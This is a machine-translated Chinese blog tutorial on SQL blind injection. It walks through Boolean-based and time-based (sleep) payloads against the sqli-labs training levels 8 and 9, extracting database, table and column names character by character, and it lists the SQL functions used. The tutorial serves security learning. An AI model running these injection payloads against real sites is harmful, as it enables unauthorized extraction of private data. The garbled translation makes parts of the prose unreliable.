当前位置:网站首页>SQL blind injection (WEB penetration)
SQL blind injection (WEB penetration)
2022-07-07 12:23:00 【hcjtn】
sql Blind note (web penetration )
- sql Blind note Mainly dealing with the page face wed Use when the error response is better ( namely , Error does not echo )
Bull's blind note
Use page return still No return We can judge the desired result by changing these two states ( Boolean for 0 or 1 Two cases )
The problem solving steps :( The following examples are all based on sql-lab less-8 For example )
Get the length of the database name : ?id=1’ and (length(database()))=8-- q( utilize > < or = To determine the length of its database )
Get the database name :
?id=1’ and ascii(substr(database(),1,1))=115 Indicates from the database 1 Start taking a length ( You will get a decimal number , utilize ASCII Table converts it into letters or symbols ) The first is s、
It can also be done through burp suite To do it
Get the number of tables : ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
Get the length of the name of the table : ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q Yes 6 Length
Get the name of the table : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q The first is e
Get field name :?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
The function of Boolean blind note
- String concatenation function : Concat ,concat_ws, group_concat
- String truncation function :Substr, mid, left , right, locate
- Returns the specified ASCII Functions required by string :ascii,ord
- Returns the... Corresponding to the specified number ascii Code character :char
- String substitution :replace
- Calculate correlation : length( length ) count( Count )
Time blind note
- Time blind note :( With sql-lab less-9 For example ) The problem solving steps
The Ninth level is found according to the blind note just now, no matter what conditions are entered , The echo result is a , It is proved that the Boolean blind note just now cannot be used , Try to use time blind
Parsing library name length : ?id=1’ and if(length(database())=8,sleep(5),1)-- q( If set up , Just react in five seconds , notes : there 1 It doesn't mean anything )
Resolve database name :?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
The function of time blind :
- sleep() Hang the program for a while n by n second
- if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement If there is an error, execute the third statement .
边栏推荐
- 问题:先后键入字符串和字符,结果发生冲突
- Introduction to three methods of anti red domain name generation
- 数据库系统原理与应用教程(007)—— 数据库相关概念
- 千人规模互联网公司研发效能成功之路
- 从工具升级为解决方案,有赞的新站位指向新价值
- @Bean与@Component用在同一个类上,会怎么样?
- Cenos openssh upgrade to version 8.4
- Will the filing free server affect the ranking and weight of the website?
- 111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
- Detailed explanation of debezium architecture of debezium synchronization
猜你喜欢
Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases
Camera calibration (2): summary of monocular camera calibration
zero-shot, one-shot和few-shot
SwiftUI 教程之如何在 2 秒内实现自动滚动功能
Superscalar processor design yaoyongbin Chapter 8 instruction emission excerpt
<No. 8> 1816. 截断句子 (简单)
超标量处理器设计 姚永斌 第10章 指令提交 摘录
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
Flet tutorial 17 basic introduction to card components (tutorial includes source code)
@What happens if bean and @component are used on the same class?
随机推荐
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
ENSP MPLS layer 3 dedicated line
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
TypeScript 接口继承
Tutorial on principles and applications of database system (009) -- conceptual model and data model
【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
Mastering the new functions of swiftui 4 weatherkit and swift charts
How to understand the clothing industry chain and supply chain
Fleet tutorial 15 introduction to GridView Basics (tutorial includes source code)
How to connect 5V serial port to 3.3V MCU serial port?
ES底层原理之倒排索引
An error occurred when vscade tried to create a file in the target directory: access denied [resolved]
【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码
108. Network security penetration test - [privilege escalation 6] - [windows kernel overflow privilege escalation]
Rationaldmis2022 array workpiece measurement
数据库系统原理与应用教程(010)—— 概念模型与数据模型练习题
全球首堆“玲龙一号”反应堆厂房钢制安全壳上部筒体吊装成功
消息队列消息丢失和消息重复发送的处理策略
<No. 8> 1816. Truncate sentences (simple)